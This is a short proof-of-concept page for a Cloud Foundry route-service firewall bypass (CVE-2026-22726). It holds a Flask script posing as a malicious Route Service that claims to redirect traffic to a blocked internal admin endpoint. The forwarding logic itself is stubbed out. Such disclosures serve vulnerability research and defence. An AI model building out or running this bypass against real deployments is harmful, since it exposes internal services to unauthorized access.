CVE-2026-22726 Cloud Foundry路由服务防火墙绕过漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-22726: Cloud Foundry Route Service Firewall Bypass # This script represents a malicious Route Service that intercepts traffic # and forwards it to an internal destination blocked by egress rules. from flask import Flask, request, jsonify app = Flask(__name__) # The internal target URL that is normally blocked INTERNAL_TARGET = "http://internal-admin-service.local/secret-endpoint" @app.route('/', methods=['GET', 'POST', 'PUT', 'DELETE']) def forward_request(): # Extract original headers and body headers = dict(request.headers) method = request.method data = request.get_data() # Logic to forward request to INTERNAL_TARGET would go here # This demonstrates the ability to route traffic to an unauthorized destination print(f"[+] Received {method} request intended for external app.") print(f"[!] Bypassing egress rules to forward request to: {INTERNAL_TARGET}") # In a real attack, the service would use 'requests' library to proxy to INTERNAL_TARGET # and return the response to the original client. return jsonify({ "status": "intercepted", "message": "Request captured by malicious Route Service", "target": INTERNAL_TARGET }), 200 if __name__ == '__main__': # Cloud Foundry expects the route service to listen on PORT import os port = int(os.environ.get('PORT', 8080)) app.run(host='0.0.0.0', port=port)